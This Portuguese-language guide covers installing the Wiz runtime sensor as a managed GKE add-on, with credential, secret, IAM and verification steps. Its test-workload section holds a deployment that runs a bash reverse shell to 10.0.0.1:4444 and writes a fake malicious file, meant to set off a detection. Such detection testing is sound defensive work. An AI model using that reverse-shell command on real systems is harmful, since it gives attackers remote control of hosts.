Instalar o sensor de ambiente de execução do Wiz em clusters do GKE

O sensor de tempo de execução do Wiz é um componente na plataforma principal do Wiz que oferece recursos de detecção e resposta a ameaças em tempo real para cargas de trabalho de tempo de execução. É possível instalar o sensor de tempo de execução em clusters do Google Kubernetes Engine (GKE) como um complemento gerenciado. Este documento mostra aos administradores de plataforma e engenheiros de segurança como instalar o complemento do sensor de tempo de execução, configurar o acesso à plataforma Wiz e aplicar a instalação do sensor de tempo de execução em toda a organização, pasta ou projeto.

Você já deve estar familiarizado com o sensor de tempo de execução do Wiz.

Quando usar o complemento do sensor de tempo de execução

O método de instalação de complementos gerenciados é uma alternativa integrada à instalação do sensor de tempo de execução usando métodos de instalação, como um gráfico do Helm. O complemento do sensor de tempo de execução tem os seguintes benefícios:

  • O GKE instala os componentes e gerencia a maioria das tarefas de configuração, o que reduz o esforço e a complexidade da instalação do sensor de tempo de execução em comparação com o uso do gráfico do Helm.
  • É possível usar o serviço de políticas da organização para exigir a ativação do complemento em toda a organização, pastas ou projetos.
  • O complemento é executado em clusters do Autopilot e junto com cargas de trabalho do Autopilot em clusters padrão sem exigir que você adicione o sensor de tempo de execução a uma lista de permissões.
  • Todas as atualizações dos componentes do sensor de tempo de execução são independentes dos upgrades da versão de patch do GKE.

Também é possível instalar o sensor de tempo de execução nos clusters usando o gráfico do Helm. Se você usar esse método, terá mais flexibilidade para personalizar a configuração do sensor. No entanto, esse método exige mais configuração manual durante a instalação e é mais difícil de aplicar em escala em comparação com o uso do complemento. Se você instalar o sensor de tempo de execução usando o gráfico do Helm, os componentes não serão gerenciados pelo GKE. Se você não usar o complemento do GKE, informe todos os problemas com o sensor de tempo de execução, como erros ou incompatibilidades, diretamente ao Wiz.

Como funciona

Você instala o complemento em clusters específicos usando a API GKE. Ao ativar o complemento, o GKE cria o namespace gke-managed-wiz e instala os componentes do sensor de tempo de execução. O GKE exige acesso ao Container Registry particular do Wiz para extrair imagens do sensor de tempo de execução.

Após a instalação, o sensor de tempo de execução exige acesso à API Wiz para enviar informações à plataforma Wiz. Para conceder ao GKE e ao sensor de tempo de execução o acesso necessário, forneça as seguintes informações como secrets no namespace gke-managed-wiz:

  • Credenciais para acessar o Container Registry do Wiz e extrair a imagem do sensor de tempo de execução.
  • Informações de configuração do sensor de tempo de execução, como credenciais da API Wiz e variáveis específicas do ambiente.

É possível criar esses secrets manualmente ou fazer upload das informações para Cloud de Confiance by S3NS o Secret Manager, que cria automaticamente os secrets, gira as versões em uma programação recorrente e implementa atualizações para secrets implantados.

Preços

O complemento do sensor de tempo de execução do Wiz está disponível sem custo adicional no GKE. As seguintes considerações se aplicam:

  • É necessário ter uma licença ativa do sensor de tempo de execução do Wiz. Para mais informações, consulte Preços do Wiz.
  • Os componentes do sensor de tempo de execução são executados nos nós e consomem recursos de CPU e memória, o que pode resultar na necessidade de mais nós para acomodar todos os pods no cluster.
  • Se você usar o Secret Manager para armazenar as credenciais e configurações do Wiz, então os preços do Secret Manager serão aplicados.

Limitações

As seguintes limitações se aplicam ao uso do complemento:

  • Se você atualizar as credenciais do registro ou da API do Wiz nos secrets implantados, será necessário reiniciar manualmente o DaemonSet do sensor de tempo de execução usando o comando kubectl rollout restart.
  • Para instalar o sensor de tempo de execução, faça upload das credenciais de registro do locatário do Wiz como um secret do Kubernetes ou para o Secret Manager.
  • Se você usar nós particulares, configure o acesso de saída ao registro de contêiner do Wiz (registry.wiz.io) usando o Cloud NAT.
  • O complemento gerenciado do GKE oferece suporte apenas aos seguintes parâmetros de configuração opcionais para o sensor de tempo de execução:
    • httpProxyConfiguration.httpsProxy
    • httpProxyConfiguration.caCertificate
    • httpProxyConfiguration.clientCertificate

Para usar qualquer um dos outros parâmetros de configuração, instale o sensor de tempo de execução usando o gráfico do Helm.

Antes de começar

Antes de começar, verifique se você realizou as tarefas a seguir:

  • Ative a API Google Kubernetes Engine.
    • Ativar a API Google Kubernetes Engine
  • Se você quiser usar a Google Cloud CLI para essa tarefa, instale e depois inicialize a CLI gcloud. Se você instalou a CLI gcloud anteriormente, instale a versão mais recente executando o comando gcloud components update. Talvez as versões anteriores da CLI gcloud não sejam compatíveis com a execução dos comandos neste documento.

Funções exigidas

Para ativar e configurar o complemento do sensor de tempo de execução para o GKE, você precisa ter as seguintes funções no Cloud de Confiance projeto:

Você também precisa ter acesso a um locatário do Wiz para receber credenciais do Container Registry do Wiz e gerar um token OAuth para a API Wiz.

Preparar credenciais e arquivos de configuração do Wiz

Para instalar o sensor de tempo de execução e enviar informações para a plataforma Wiz, é necessário fornecer credenciais para acessar o registro particular do Wiz e a API Wiz. Para preparar essas informações, siga estas etapas:

  1. Encontre as credenciais do Container Registry do Wiz para o registry.wiz.io registro.

  2. Crie uma string codificada em Base64 que contenha as credenciais do registro em uma estrutura que o Kubernetes possa analisar:

    echo -n 'WIZ_REGISTRY_USERNAME:WIZ_REGISTRY_PASSWORD' | base64 | tr -d '\n'

    Substitua:

    • WIZ_REGISTRY_USERNAME: o nome de usuário do Container Registry do Wiz.
    • WIZ_REGISTRY_PASSWORD: a senha do Container Registry do Wiz.

    O resultado será assim:

    aGVsbG86d29ybGQ=

  3. Salve as informações como um arquivo JSON:

    {
  "auths": {
    "registry.wiz.io": {
      "username": "WIZ_REGISTRY_USERNAME",
      "password": "WIZ_REGISTRY_PASSWORD",
      "auth": "BASE64_ENCODED_CREDENTIALS"
    }
  }
}

    Substitua BASE64_ENCODED_CREDENTIALS pela string codificada da etapa anterior.

  4. Crie uma conta de serviço do Wiz e copie as seguintes informações:

    • O ID do cliente, que também pode ser encontrado no portal do Wiz na página Contas de serviço.
    • A chave secreta do cliente, que fica visível apenas quando você cria a conta de serviço.

  5. Crie um arquivo de configuração YAML para o sensor de tempo de execução:

    clientId: "WIZ_CLIENT_ID"
clientToken: "WIZ_CLIENT_SECRET"
clientEndpoint: "WIZ_CLIENT_ENDPOINT"

    Substitua:

    • WIZ_CLIENT_ID: o ID do cliente da conta de serviço.
    • WIZ_CLIENT_TOKEN: a chave secreta do cliente da conta de serviço.
    • WIZ_CLIENT_ENDPOINT: o URL do token a ser usado, que depende do seu locatário do Wiz.

  6. Opcional: se você usar um proxy HTTP, poderá configurar o sensor de tempo de execução para usar o servidor proxy. Crie um arquivo de configuração YAML para o proxy:

    httpsProxy: "PROXY_URL"
caCertificate: "CA_CERTIFICATE"
clientCertificate: "CLIENT_CERTIFICATE"

    Substitua:

    • PROXY_URL: o URL do proxy totalmente qualificado, como https://proxy.example.com:8080.
    • CA_CERTIFICATE: o certificado de CA, no formato PEM, do servidor proxy. Se o servidor proxy não usar TLS, então especifique um valor vazio ("").
    • CLIENT_CERTIFICATE: o certificado do cliente, no formato PEM, do servidor proxy. Se o servidor proxy não usar TLS, especifique um valor vazio ("").

Criar secrets no Secret Manager

Esta seção mostra como armazenar os vários arquivos de configuração e credenciais do Wiz no Secret Manager. É possível especificar os URIs desses secrets ao ativar o complemento do sensor de tempo de execução em um cluster do GKE. O Secret Manager cria automaticamente os secrets do Kubernetes no namespace do Wiz. Quando você atualiza os valores no Secret Manager, os secrets do Kubernetes são sincronizados automaticamente para usar os novos valores. Opcionalmente, pule esta seção e crie os secrets manualmente no namespace gke-managed-wiz.

Para criar os secrets no Secret Manager, siga estas etapas:

  1. Armazene as credenciais do registro do Wiz:

    1. Crie um secret para armazenar as credenciais do registro do Wiz:

      gcloud secrets create wiz-image-pull-secret \
    --replication-policy="automatic" \
    --project="SECRET_PROJECT_ID"

      Substitua SECRET_PROJECT_ID pelo ID do Cloud de Confiance projeto em que você quer criar os secrets.

    2. Armazene as credenciais do registro do Wiz no secret wiz-image-pull-secret:

      gcloud secrets versions add wiz-image-pull-secret \
    --project="SECRET_PROJECT_ID" \
    --data-file=PATH_TO_CREDENTIALS_FILE

      Substitua PATH_TO_CREDENTIALS_FILE pelo caminho para o arquivo JSON que contém as credenciais do registro do Wiz.

  2. Armazene as credenciais da API do sensor de tempo de execução:

    1. Crie um secret para armazenar as credenciais da API do sensor de tempo de execução:

      gcloud secrets create wiz-api-key-secret \
    --replication-policy="automatic" \
    --project="SECRET_PROJECT_ID"

    2. Armazene as credenciais da API do sensor de tempo de execução no secret wiz-api-key-secret:

      gcloud secrets versions add wiz-api-key-secret \
    --project="SECRET_PROJECT_ID" \
    --data-file=PATH_TO_CONFIG_FILE

      Substitua PATH_TO_CONFIG_FILE pelo caminho para o arquivo YAML que contém as credenciais da API do sensor de tempo de execução.

  3. Opcional: armazene informações de configuração para seu proxy:

    1. Crie um secret para armazenar a configuração do servidor proxy:

      gcloud secrets create wiz-sensor-proxy-secret \
    --replication-policy="automatic" \
    --project="SECRET_PROJECT_ID"

    2. Armazene a configuração do servidor proxy no secret wiz-sensor-proxy-secret:

      gcloud secrets versions add wiz-sensor-proxy-secret \
    --project="SECRET_PROJECT_ID" \
    --data-file=PATH_TO_PROXY_FILE

      Substitua PATH_TO_PROXY_FILE pelo caminho para o arquivo YAML que contém os parâmetros de configuração do proxy.

Conceder acesso do GKE ao Secret Manager

Para sincronizar as informações no Secret Manager como secrets do Kubernetes, conceda o papel do IAM de Acessor de secrets do Secret Manager (roles/secretmanager.secretAccessor) nos secrets que você criou para a ServiceAccount do Kubernetes wiz-sensor-secretsync-sa no namespace gke-managed-wiz. Ao ativar o complemento do sensor de tempo de execução em um cluster, o GKE cria essa ServiceAccount e usa a identidade da ServiceAccount para criar os secrets correspondentes no namespace. Se você planeja criar secrets manualmente em vez de usar o Secret Manager, pule esta seção.

As etapas a seguir mostram como conceder o papel necessário:

  1. Encontre o número do projeto do cluster:

    gcloud projects describe CLUSTER_PROJECT_ID --format='value(projectNumber)'

    O resultado será semelhante a 1234567890.

  2. Conceda o papel no secret wiz-image-pull-secret:

    gcloud secrets add-iam-policy-binding wiz-image-pull-secret \
    --project=SECRET_PROJECT_ID \
    --role="roles/secretmanager.secretAccessor" \
    --member="principal://iam.googleapis.com/projects/CLUSTER_PROJECT_NUMBER/locations/global/workloadIdentityPools/CLUSTER_PROJECT_ID.s3ns.svc.id.goog/subject/ns/gke-managed-wiz/sa/wiz-sensor-secretsync-sa"

    Substitua:

    • SECRET_PROJECT_ID: o ID do projeto que contém seus secrets.
    • CLUSTER_PROJECT_NUMBER: o número do projeto do cluster.
    • CLUSTER_PROJECT_ID: o ID do projeto do cluster.

  3. Conceda o papel no secret wiz-api-key-secret:

    gcloud secrets add-iam-policy-binding wiz-api-key-secret \
    --project=SECRET_PROJECT_ID \
    --role="roles/secretmanager.secretAccessor" \
    --member="principal://iam.googleapis.com/projects/CLUSTER_PROJECT_NUMBER/locations/global/workloadIdentityPools/CLUSTER_PROJECT_ID.s3ns.svc.id.goog/subject/ns/gke-managed-wiz/sa/wiz-sensor-secretsync-sa"

  4. Opcional: se você criou um secret que contém informações de proxy HTTP, conceda o papel no secret wiz-sensor-proxy-secret:

    gcloud secrets add-iam-policy-binding wiz-sensor-proxy-secret \
    --project=SECRET_PROJECT_ID \
    --role="roles/secretmanager.secretAccessor" \
    --member="principal://iam.googleapis.com/projects/CLUSTER_PROJECT_NUMBER/locations/global/workloadIdentityPools/CLUSTER_PROJECT_ID.s3ns.svc.id.goog/subject/ns/gke-managed-wiz/sa/wiz-sensor-secretsync-sa"

Ativar o complemento do sensor de tempo de execução para o GKE

Depois de criar os secrets no Secret Manager e conceder ao GKE o papel necessário nos secrets, ative o complemento do sensor de tempo de execução para o cluster. É possível ativar o complemento em clusters padrão ou do Autopilot novos ou atuais. As etapas a seguir mostram como ativar o complemento e configurar a sincronização de secrets em um cluster atual. Também é possível usar essas flags durante a criação do cluster.

  1. Ative a sincronização de secrets para um cluster atual. Se você planeja criar secrets manualmente em vez de usar o Secret Manager, pule esta etapa.

    gcloud container clusters update CLUSTER_NAME \
    --project=CLUSTER_PROJECT_ID \
    --location=CONTROL_PLANE_LOCATION \
    --enable-secret-sync --enable-secret-sync-rotation

    Substitua:

    • CLUSTER_NAME: o nome do cluster.
    • CLUSTER_PROJECT_ID: o ID do projeto do cluster.
    • CONTROL_PLANE_LOCATION: o local do plano de controle do cluster.

  2. Ative o complemento executando um dos comandos a seguir. Se você planeja criar secrets manualmente em vez de usar o Secret Manager, especifique apenas a flag --addons nesses comandos.

    • Ative o complemento sem configurar um proxy HTTP:

      gcloud container clusters update CLUSTER_NAME \
    --project=CLUSTER_PROJECT_ID \
    --location=CONTROL_PLANE_LOCATION \
    --update-addons=WizSensor=ENABLED \
    --wiz-sensor-registry-secret-uri=projects/SECRET_PROJECT_ID/secrets/wiz-image-pull-secret/versions/latest \
    --wiz-sensor-api-key-secret-uri=projects/SECRET_PROJECT_ID/secrets/wiz-api-key-secret/versions/latest

    • Ative o complemento e configure um proxy HTTP:

      gcloud container clusters update CLUSTER_NAME \
    --project=CLUSTER_PROJECT_ID \
    --location=CONTROL_PLANE_LOCATION \
    --update-addons=WizSensor=ENABLED \
    --wiz-sensor-registry-secret-uri=projects/SECRET_PROJECT_ID/secrets/wiz-image-pull-secret/versions/latest \
    --wiz-sensor-api-key-secret-uri=projects/SECRET_PROJECT_ID/secrets/wiz-api-key-secret/versions/latest \
    --wiz-sensor-proxy-secret-uri=projects/SECRET_PROJECT_ID/secrets/wiz-sensor-proxy-secret/versions/latest

Verifique a instalação

Para verificar a instalação do complemento, siga estas etapas:

  1. Receba credenciais para executar comandos kubectl no cluster:

    gcloud container clusters get-credentials CLUSTER_NAME \
    --location=CONTROL_PLANE_LOCATION \
    --project=CLUSTER_PROJECT_ID

  2. Verifique se o namespace gke-managed-wiz existe:

    kubectl get namespace gke-managed-wiz

    O resultado será assim:

    NAME              STATUS   AGE
gke-managed-wiz   Active   76s

  3. Verifique se os recursos personalizados do Secret Manager existem no namespace:

    kubectl get secretproviderclass --namespace=gke-managed-wiz
kubectl get secretsync --namespace=gke-managed-wiz

    O resultado será assim:

    NAME                          AGE
wiz-sensor-secrets-provider   76s
wiz-sensor-apikey             76s
wiz-sensor-imagepullkey       75s
wiz-sensor-proxy              76s

  4. Verifique se os secrets do Kubernetes existem:

    kubectl get secrets --namespace=gke-managed-wiz

    O resultado será assim:

    NAME                      TYPE                              DATA   AGE
wiz-sensor-apikey         Opaque                            3      76s
wiz-sensor-imagepullkey   kubernetes.io/dockerconfigjson    1      75s

  5. Verifique o status do DaemonSet do sensor de tempo de execução:

    kubectl get daemonset --namespace=gke-managed-wiz

    O resultado será assim:

    NAME        DESIRED   CURRENT   READY   UP-TO-DATE   AVAILABLE   NODE SELECTOR   AGE
wiz-sensor  1         1         1       1            1           <none>          76s

    Essa saída indica que o sensor de tempo de execução está pronto e disponível.

  6. Verifique os registros de inicialização e conexão dos pods do sensor de tempo de execução:

    kubectl logs -n gke-managed-wiz daemonset/wiz-sensor --tail=100

    O resultado será assim:

    {"fields":{"defs_commit":"","defs_version":"0.0.0","message":"version","sensor_version":"1.0.12402 (CMT_6dda526 2026-09-11T15:51:34-04:00)"},"level":"INFO","timestamp":"2026-09-24T17:06:32.982+00:00"}
{"fields":{"message":"starting content update"},"level":"INFO","timestamp":"2026-09-24T17:06:33.304+00:00"}
{"fields":{"message":"ending content update - new content downloaded"},"level":"INFO","timestamp":"2026-09-24T17:06:34.215+00:00"}
{"fields":{"defs_commit":"4cf39a653","defs_version":"1.0.6125","message":"version","sensor_version":"1.0.12402 (CMT_6dda526 2026-09-11T15:51:34-04:00)"},"level":"INFO","timestamp":"2026-09-24T17:06:34.372+00:00"}
{"fields":{"env":{"ALLOWED_CONTROLLER_API_GROUPS":"[\"\",\"apps\",\"batch\",\"argoproj.io\",\"sparkoperator.k8s.io\",\"ray.io\",\"tekton.dev\",\"composer.cloud.google.com\",\"kafka.strimzi.io\",\"actions.github.com\"]","ALLOW_KUBELET_COMMUNICATION":"false","BACKEND_ENV":"prod","CRI_SOCKET_CUSTOM_PATH":"","HELM_CHART_COMPAT_VER":"1","HELM_CHART_VERSION":"1.0.11492","HTTP_PROXY_URL":"","JSON":"true","LOG_FILE":"/wiz-sensor-store/sensor.log","RAMFS_STORE":"/tmp/","SENSOR_CLUSTER_NAME":"CLUSTER_NAME","STDOUT_LOG":"error","TMP_STORE":"/wiz-sensor-store/"},"hash":"daa946af4dd7eb728495e752bb35399749ad2c2c","message":"Wiz Sensor env config"},"level":"INFO","timestamp":"2026-09-24T17:09:24.844+00:00"}
{"fields":{"defs_commit":"4cf39a653","defs_version":"1.0.6125","message":"version","sensor_version":"1.0.12402 (CMT_6dda526 2026-09-11T15:51:34-04:00)"},"level":"INFO","timestamp":"2026-09-24T17:09:25.249+00:00"}
{"fields":{"major":6,"message":"kernel version","minor":12,"patch":94},"level":"INFO","timestamp":"2026-09-24T17:09:25.277+00:00"}
{"fields":{"delay":{"nanos":0,"secs":0},"message":"sensor start delay secs","range":0},"level":"INFO","timestamp":"2026-09-24T17:09:34.994+00:00"}

Implantar uma carga de trabalho de teste

Para verificar se a conexão com o portal do Wiz funciona, siga estas etapas:

  1. Salve o seguinte manifesto de implantação como um arquivo YAML:

    apiVersion: apps/v1
kind: Deployment
metadata:
  name: demo-nginx
  namespace: default
spec:
  replicas: 1
  selector:
    matchLabels:
      app: demo-nginx
  template:
    metadata:
      labels:
        app: demo-nginx
    spec:
      containers:
      - name: nginx
        image: nginx:1.15.6
        command: ["/bin/bash", "-c"]
        args:
        - |
          # Trigger background reverse shell attempt
          (timeout 5 bash -i >& /dev/tcp/10.0.0.1/4444 0>&1) &
          # Trigger image drift file modification
          touch /usr/bin/malicious_test_file
          # Start Nginx
          exec nginx -g "daemon off;"
        ports:
        - containerPort: 80

    Essa implantação cria um pod que simula um ataque de shell reverso.

  2. Crie a implantação:

    kubectl apply -f PATH_TO_MANIFEST

    Substitua PATH_TO_MANIFEST pelo caminho para o arquivo de manifesto de implantação.

  3. No portal do Wiz, acesse a página Ameaças.

  4. Na tabela de ameaças, procure uma descoberta de ameaça para a tentativa de shell reverso.

Aplicar a instalação de complementos usando uma política da organização

É possível aplicar a instalação do complemento do sensor de tempo de execução em vários clusters em uma organização, pasta ou projeto usando a política da organização. Crie uma restrição personalizada com as seguintes propriedades:

  • Recurso: container.googleapis.com/Cluster
  • Condição: resource.addonsConfig.wizSensor.enabled == false
  • Ação: DENY

Para mais informações sobre como configurar uma restrição personalizada com essas propriedades, consulte Restringir ações em recursos do GKE usando políticas personalizadas da organização.

A seguir